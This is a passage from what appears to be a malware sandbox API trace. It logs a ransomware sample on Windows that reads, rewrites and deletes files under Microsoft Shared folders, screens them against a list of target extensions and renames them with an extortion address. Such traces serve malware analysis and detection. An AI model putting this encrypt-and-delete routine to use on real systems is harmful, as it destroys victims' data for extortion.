(hObject=0x208) returned 1 [0131.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.980] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0131.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.980] lstrlenW (lpString=".doc") returned 4 [0131.980] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.980] lstrlenW (lpString=".docx") returned 5 [0131.980] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0131.980] lstrlenW (lpString=".pdf") returned 4 [0131.980] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.980] lstrlenW (lpString=".xls") returned 4 [0131.980] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.980] lstrlenW (lpString=".xlsx") returned 5 [0131.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0131.980] lstrlenW (lpString=".ppt") returned 4 [0131.980] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.980] lstrlenW (lpString=".zip") returned 4 [0131.980] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.980] lstrlenW (lpString=".rar") returned 4 [0131.981] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString=".bz2") returned 4 [0131.981] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString=".7z") returned 3 [0131.981] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".dbf") returned 4 [0131.981] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".1cd") returned 4 [0131.981] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".jpg") returned 4 [0131.981] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".doc") returned 4 [0131.981] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString=".docx") returned 5 [0131.981] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0131.981] lstrlenW (lpString=".pdf") returned 4 [0131.981] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString=".xls") returned 4 [0131.981] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString=".xlsx") returned 5 [0131.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0131.981] lstrlenW (lpString=".ppt") returned 4 [0131.981] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".zip") returned 4 [0131.981] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString=".rar") returned 4 [0131.981] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.981] lstrlenW (lpString=".bz2") returned 4 [0131.981] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString=".7z") returned 3 [0131.981] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".dbf") returned 4 [0131.981] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.981] lstrlenW (lpString=".1cd") returned 4 [0131.981] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0131.982] lstrlenW (lpString=".jpg") returned 4 [0131.982] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.982] lstrcmpiW (lpString1=".CFG", lpString2=".gdb") returned -1 [0131.982] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0131.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.982] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=6811) returned 1 [0131.982] CloseHandle (hObject=0x208) returned 1 [0131.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0131.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.982] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.982] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.983] GetLastError () returned 0x0 [0131.983] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x1a9b, lpOverlapped=0x0) returned 1 [0131.984] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x1aa0, lpOverlapped=0x0) returned 1 [0131.985] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0131.985] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xec, lpOverlapped=0x0) returned 1 [0131.985] SetEndOfFile (hFile=0x1d4) returned 1 [0131.985] CloseHandle (hObject=0x1d4) returned 1 [0131.985] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.985] SetEndOfFile (hFile=0x208) returned 1 [0131.986] CloseHandle (hObject=0x208) returned 1 [0131.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.986] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0131.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".doc") returned 4 [0131.987] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".docx") returned 5 [0131.987] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0131.987] lstrlenW (lpString=".pdf") returned 4 [0131.987] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".xls") returned 4 [0131.987] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".xlsx") returned 5 [0131.987] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0131.987] lstrlenW (lpString=".ppt") returned 4 [0131.987] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".zip") returned 4 [0131.987] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".rar") returned 4 [0131.987] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".bz2") returned 4 [0131.987] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0131.987] lstrlenW (lpString=".7z") returned 3 [0131.987] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".dbf") returned 4 [0131.987] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".1cd") returned 4 [0131.987] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".jpg") returned 4 [0131.987] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.987] lstrlenW (lpString=".doc") returned 4 [0131.987] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".docx") returned 5 [0131.987] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0131.987] lstrlenW (lpString=".pdf") returned 4 [0131.987] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".xls") returned 4 [0131.987] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0131.987] lstrlenW (lpString=".xlsx") returned 5 [0131.987] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0131.987] lstrlenW (lpString=".ppt") returned 4 [0131.987] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0131.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.988] lstrlenW (lpString=".zip") returned 4 [0131.988] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0131.988] lstrlenW (lpString=".rar") returned 4 [0131.988] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0131.988] lstrlenW (lpString=".bz2") returned 4 [0131.988] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0131.988] lstrlenW (lpString=".7z") returned 3 [0131.988] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0131.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.988] lstrlenW (lpString=".dbf") returned 4 [0131.988] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0131.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.988] lstrlenW (lpString=".1cd") returned 4 [0131.988] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0131.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0131.988] lstrlenW (lpString=".jpg") returned 4 [0131.988] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0131.988] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0131.988] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0131.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.989] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=323936) returned 1 [0131.989] CloseHandle (hObject=0x208) returned 1 [0131.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0131.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.989] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.989] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0131.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.989] GetLastError () returned 0x0 [0131.989] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x4f160, lpOverlapped=0x0) returned 1 [0131.996] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x4f170, lpOverlapped=0x0) returned 1 [0132.001] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0132.001] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xec, lpOverlapped=0x0) returned 1 [0132.001] SetEndOfFile (hFile=0x1d4) returned 1 [0132.001] CloseHandle (hObject=0x1d4) returned 1 [0132.002] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.002] SetEndOfFile (hFile=0x208) returned 1 [0132.005] CloseHandle (hObject=0x208) returned 1 [0132.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.005] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0132.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.005] lstrlenW (lpString=".doc") returned 4 [0132.005] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.005] lstrlenW (lpString=".docx") returned 5 [0132.005] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.005] lstrlenW (lpString=".pdf") returned 4 [0132.005] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.005] lstrlenW (lpString=".xls") returned 4 [0132.005] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.005] lstrlenW (lpString=".xlsx") returned 5 [0132.005] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.005] lstrlenW (lpString=".ppt") returned 4 [0132.005] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.005] lstrlenW (lpString=".zip") returned 4 [0132.005] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.005] lstrlenW (lpString=".rar") returned 4 [0132.005] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.005] lstrlenW (lpString=".bz2") returned 4 [0132.005] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.005] lstrlenW (lpString=".7z") returned 3 [0132.005] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".dbf") returned 4 [0132.006] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".1cd") returned 4 [0132.006] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".jpg") returned 4 [0132.006] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".doc") returned 4 [0132.006] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.006] lstrlenW (lpString=".docx") returned 5 [0132.006] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.006] lstrlenW (lpString=".pdf") returned 4 [0132.006] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString=".xls") returned 4 [0132.006] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString=".xlsx") returned 5 [0132.006] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.006] lstrlenW (lpString=".ppt") returned 4 [0132.006] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".zip") returned 4 [0132.006] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString=".rar") returned 4 [0132.006] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.006] lstrlenW (lpString=".bz2") returned 4 [0132.006] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.006] lstrlenW (lpString=".7z") returned 3 [0132.006] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".dbf") returned 4 [0132.006] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.006] lstrlenW (lpString=".1cd") returned 4 [0132.006] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0132.007] lstrlenW (lpString=".jpg") returned 4 [0132.007] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.007] lstrcmpiW (lpString1=".FNT", lpString2=".gdb") returned -1 [0132.007] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0132.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0132.008] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=606062) returned 1 [0132.008] CloseHandle (hObject=0x208) returned 1 [0132.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0132.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0132.008] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.008] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0132.008] GetLastError () returned 0x0 [0132.008] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x93f6e, lpOverlapped=0x0) returned 1 [0132.468] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x93f70, lpOverlapped=0x0) returned 1 [0132.476] ReadFile (in: hFile=0x208, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0132.476] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xec, lpOverlapped=0x0) returned 1 [0132.477] SetEndOfFile (hFile=0x1d4) returned 1 [0132.477] CloseHandle (hObject=0x1d4) returned 1 [0132.477] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0132.477] SetEndOfFile (hFile=0x208) returned 1 [0132.482] CloseHandle (hObject=0x208) returned 1 [0132.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.482] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0132.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 